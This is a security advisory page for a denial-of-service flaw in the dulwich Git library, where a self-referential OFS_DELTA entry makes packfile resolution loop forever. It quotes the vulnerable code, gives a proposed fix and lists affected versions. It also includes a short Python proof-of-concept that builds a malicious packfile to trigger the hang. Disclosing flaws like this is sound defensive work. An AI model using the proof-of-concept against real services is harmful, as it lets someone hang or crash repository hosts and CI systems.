All vulnerabilities
GHSA-35mr-4567-66vgCVE-2026-114095

Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution

dulwichpipLibraries & packages
CVSS
6.5Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in1.2.9Fixed versionGitHub
Published2 Oct 2026Updated 21 Oct 2026GitHub

What fixes it

  • 1.2.9dulwich, pipGitHub
  • 1.2.9dulwich, PyPIOSVpip install "dulwich>=1.2.9"

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Affected file

  • dulwich/pack.py (Method: Pack.resolve_object)

Description / Summary

A High-severity Denial of Service (DoS) vulnerability exists in the Pack.resolve_object method. When resolving an OFS_DELTA object, the resolver calculates the base offset using base_offset = obj_offset - delta_offset.

If a malicious packfile contains an OFS_DELTA object where delta_offset is 0, the calculation obj_offset - 0 resolves back to the current object's own offset. Because the implementation lacks a depth counter, a "visited" set, or an explicit rejection of delta_offset == 0, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.

**Vulnerable Code Breakdown (dulwich/pack.py):**

elif obj_type == OFS_DELTA:
    delta_offset = parse_pack_object_offset_at(...)
    base_offset = obj_offset - delta_offset          # VULNERABILITY: Self-reference if delta_offset == 0
    base_type, base_data = self.resolve_object(...)  # VULNERABILITY: Infinite recursion

Potential impact

An attacker can trigger this infinite loop via any operation that walks packfiles (e.g., dulwich clone, fetch, cat-file, or internal Pack.__getitem__ lookups).

  1. CPU Exhaustion: The process will spin at 100% CPU indefinitely.
  2. Denial of Service: Any service using dulwich (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access.
  3. Protocol Incompatibility: This behavior violates the Git packfile specification. The standard git C client explicitly guards against this: if (!base_offset) die("delta offset == 0 is invalid");.

POC (Proof of Concept)

The following Python script generates a 44-byte packfile that triggers the loop:

from dulwich.pack import Pack
import struct, zlib, tempfile, os

# Build a single OFS_DELTA entry whose delta_offset is 0
type_ofs_delta = 6
header = bytes([(type_ofs_delta << 4) | 0])
ofs_bytes = bytes([0x00]) # delta_offset = 0
body = zlib.compress(b'')
raw = header + ofs_bytes + body

pack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\x00' * 20)

fd, path = tempfile.mkstemp(suffix='.pack')
os.write(fd, pack); os.close(fd)

# Trigger: This call never returns and spins at 100% CPU
p = Pack(path)
obj = p[list(p.iterobjects())[0]]

Possible solution

  1. Explicit Guard: Add a check in Pack.resolve_object to reject delta_offset == 0:
   if delta_offset == 0:
       raise CorruptPacksFile("OFS_DELTA has self-referential delta_offset=0")
  1. Recursion Depth: Implement a depth limit (e.g., MAX_DELTA_DEPTH = 50) to prevent long, non-looping chains of deltas (OFS or REF).

Text from GitHub Advisory Database

Affected versions 52

  • dulwich, pip< 1.2.9GitHub
  • dulwich, PyPIfrom first release, fixed in 1.2.9OSV
  • dulwich, PyPI0.0.1OSV
  • dulwich, PyPI0.1.0OSV
  • dulwich, PyPI0.1.1OSV
  • dulwich, PyPI0.10.0OSV
  • dulwich, PyPI0.10.1aOSV
  • dulwich, PyPI0.11.0OSV
  • dulwich, PyPI0.11.1OSV
  • dulwich, PyPI0.11.2OSV
  • dulwich, PyPI0.12.0OSV
  • dulwich, PyPI0.13.0OSV
  • dulwich, PyPI0.14.0OSV
  • dulwich, PyPI0.14.1OSV
  • dulwich, PyPI0.15.0OSV
  • dulwich, PyPI0.16.0OSV
  • dulwich, PyPI0.16.1OSV
  • dulwich, PyPI0.16.2OSV
  • dulwich, PyPI0.16.3OSV
  • dulwich, PyPI0.17.1OSV
  • dulwich, PyPI0.17.2OSV
  • dulwich, PyPI0.17.3OSV
  • dulwich, PyPI0.18.0OSV
  • dulwich, PyPI0.18.1OSV
  • dulwich, PyPI0.18.2OSV
  • dulwich, PyPI0.18.3OSV
  • dulwich, PyPI0.18.4OSV
  • dulwich, PyPI0.18.5OSV
  • dulwich, PyPI0.18.6OSV
  • dulwich, PyPI0.19.0OSV
  • dulwich, PyPI0.19.1OSV
  • dulwich, PyPI0.19.10OSV
  • dulwich, PyPI0.19.11OSV
  • dulwich, PyPI0.19.12OSV
  • dulwich, PyPI0.19.13OSV
  • dulwich, PyPI0.19.14OSV
  • dulwich, PyPI0.19.15OSV
  • dulwich, PyPI0.19.16OSV
  • dulwich, PyPI0.19.2OSV
  • dulwich, PyPI0.19.3OSV
  • dulwich, PyPI0.19.3a0OSV
  • dulwich, PyPI0.19.4OSV
  • dulwich, PyPI0.19.5OSV
  • dulwich, PyPI0.19.6OSV
  • dulwich, PyPI0.19.7OSV
  • dulwich, PyPI0.19.8OSV
  • dulwich, PyPI0.19.9OSV
  • dulwich, PyPI0.2.1OSV
  • dulwich, PyPI0.20.0OSV
  • dulwich, PyPI0.20.1OSV
  • dulwich, PyPI0.20.10OSV
  • dulwich, PyPI0.20.11OSV

References 4